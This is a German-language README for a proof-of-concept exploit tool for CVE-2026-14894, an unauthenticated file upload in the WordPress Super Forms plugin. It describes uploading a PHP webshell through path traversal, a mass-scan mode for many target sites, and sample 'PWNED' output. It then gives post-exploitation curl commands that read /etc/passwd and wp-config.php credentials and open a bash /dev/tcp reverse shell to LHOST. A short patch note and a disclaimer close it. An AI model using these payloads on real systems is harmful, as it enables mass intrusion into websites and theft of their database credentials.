
PoC-Exploit für CVE-2026-14894: nicht authentifizierter beliebiger Datei-Upload, der zu einer Remote-Code-Ausführung im WordPress Super Forms Plugin führt. Enthält Einzelziel- und Massen-Scan-Modi mit automatischer Shell-Erkennung.
Nicht authentifizierter beliebiger Datei-Upload → Remote Code Execution im WordPress-Plugin Super Forms Versionen ≤ 6.3.313.
Die Schwachstelle befindet sich im AJAX-Handler super_submit_form, der Datei-Uploads über ein datauristring-Feld verarbeitet, ohne die Dateiendung oder den MIME-Typ vor dem Schreiben auf die Festplatte zu validieren. Ein nicht authentifizierter Angreifer kann eine PHP-Webshell hochladen und eine vollständige Remote Code Execution auf dem Zielserver erreichen.
[1] Mint nonce (nopriv)
POST /wp-admin/admin-ajax.php
action=super_create_nonce
│
▼
[2] Upload PHP shell via datauristring (unauthenticated)
POST /wp-admin/admin-ajax.php
action=super_submit_form
data={"sf_upload_field":{"files":[{"datauristring":"data:image/png;base64,..."}]}}
│
├── Path Traversal → /wp-content/themes/<theme>/shell.php ← primary
│ (always exec)
│
└── Random folder → /wp-content/uploads/superforms/... ← fallback
(exec depends on server policy)
│
▼
[3] Shell Discovery
├── S0: media?parent=entry_id (WP REST)
├── S1: REST /wp/v2/media search (unauth)
├── S2: Apache/nginx directory listing
└── S3: WP sitemap attachment XML
│
▼
[4] RCE → curl "http://target/wp-content/themes/theme/shell.php?c=id"
pip install requests urllib3
python cve-2026-14894.py
CVE-2026-14894 │ Super Forms ≤ 6.3.313
Unauthenticated File Upload → Remote Code Execution
Researcher: andrea bocchetti | PoC: Beelze
1 Single target
2 Mass targets (file)
Mode (1/2): 1
Target URL : https://target.com
Form ID (enter=auto) : ← leave blank = auto-discover
Shell name (enter=random): ← leave blank = random name
Shell file (enter=built-in): ← leave blank = built-in shell
WP user (optional/REST) : ← optional, improves discovery
WP pass (optional/REST) : ← optional
Erwartete Ausgabe bei Erfolg:
──────────────────────────────────────────────────────────────
TARGET https://target.com
──────────────────────────────────────────────────────────────
Super Forms v6.3.301 vulnerable ≤6.3.313
[1/3] Mint nonce ...................... ✔ OK a3f9e1c... sid=sess_ab...
[2/3] Upload [xkqmhzjt.php] .......... ✔ OK form_id=42 entry_id=137
[3/3] Shell discovery ................ ✔ FOUND → RCE [path traversal → theme]
╔══════════════════════════════════════════════════════════════╗
║ ✓ PWNED → RCE CONFIRMED ║
║ ║
║ Shell » https://target.com/wp-content/themes/astra/shell ║
║ RCE » uid=33(www-data) gid=33(www-data) ║
║ ║
║ $ curl "https://target.com/...shell.php?c=whoami" ║
╚══════════════════════════════════════════════════════════════╝
Mode (1/2): 2
Targets file : targets.txt ← one URL per line, # = comment
Form ID (enter=auto) :
Threads (enter=5) : 10
Shell file (enter=built-in):
WP user (optional/REST) :
WP pass (optional/REST) :
targets.txt-Format:
# Bug bounty scope
https://site1.com
https://site2.com
https://site3.com
Massen-Scan-Ausgabe:
══════════════════════════════════════════════════════════════
MASS SCAN 3 targets threads=10
══════════════════════════════════════════════════════════════
[01/03] https://site1.com .... RCE uid=33(www-data)
↳ https://site1.com/wp-content/themes/astra/xkqmhzjt.php
[02/03] https://site2.com .... WRITE no exec
↳ https://site2.com/wp-content/uploads/superforms/2026/07/.../shell.php
[03/03] https://site3.com .... FAIL plugin inactive / blocked
══════════════════════════════════════════════════════════════
SUMMARY 1 RCE 1 WRITE_ONLY 0 MAYBE / 3 total
══════════════════════════════════════════════════════════════
RCE SHELLS:
» https://site1.com/wp-content/themes/astra/xkqmhzjt.php (uid=33...)
Sie können Ihre eigene Shell-Datei anstelle der integrierten Webshell bereitstellen:
Shell file (enter=built-in): /path/to/myshell.php
Das Tool lädt Ihre Datei hoch und behandelt jede 200-Antwort mit einem nicht leeren Body als RCE-Bestätigung.
Nach Erhalt von RCE mit der Shell interagieren:
# Command execution
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=id"
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=cat+/etc/passwd"
# Read WordPress config (creds, DB)
curl -sk "https://target.com/.../shell.php?c=cat+/var/www/html/wp-config.php"
# Reverse shell
curl -sk "https://target.com/.../shell.php" --data "c=bash+-c+'bash+-i+>%26+/dev/tcp/LHOST/LPORT+0>%261'"
Ergebnisse werden automatisch gespeichert unter:
~/Documents/CVE-2026-14894/result_YYYYMMDD_HHMMSS.json
| Status | Bedeutung |
|---|---|
RCE | PHP-Shell bestätigt ausgeführt — vollständige Remote Code Execution |
Aktualisieren Sie Super Forms auf ≥ 6.3.314. Der Patch erzwingt eine .pdf-only-Erweiterung in datauristring-Uploads und fügt realpath()-Einschränkung hinzu, um Path Traversal zu verhindern.
Dieses Tool ist ausschließlich für autorisierte Penetrationstests, Bug-Bounty-Forschung und Bildungszwecke bestimmt.
Verwenden Sie es nicht gegen Systeme, für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben.
Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
CVE-2026-14894 · Super Forms ≤ 6.3.313 · Unauth File Upload RCE
Forscher: andrea bocchetti · PoC: Beelze
| Feld | Detail |
|---|
| CVE ID | CVE-2026-14894 |
| Plugin | Super Forms (WordPress) |
| Betroffen | ≤ 6.3.313 |
| Gepatched | 6.3.314 (erzwingt .pdf-Erweiterung + realpath-Einschränkung) |
| CVSS | 9.8 Kritisch |
| Auth erforderl. | Keine |
| Forscher | andrea bocchetti |
| AJAX-Aktion | super_submit_form |
| Senke | datauristring-Feld → class-ajax.php:2762–2766 |
| Upload-Pfad | /wp-content/uploads/superforms/YYYY/MM/<13digits>/ |
WRITE_ONLY | Datei geschrieben, aber PHP nicht ausgeführt (Engine aus / .htaccess verweigert) |
POSSIBLE_WRITE | Upload erfolgreich, aber Shell-URL konnte nicht aufgelöst werden |
FAIL | Plugin inaktiv, Nonce fehlgeschlagen oder gepatchte Version erkannt |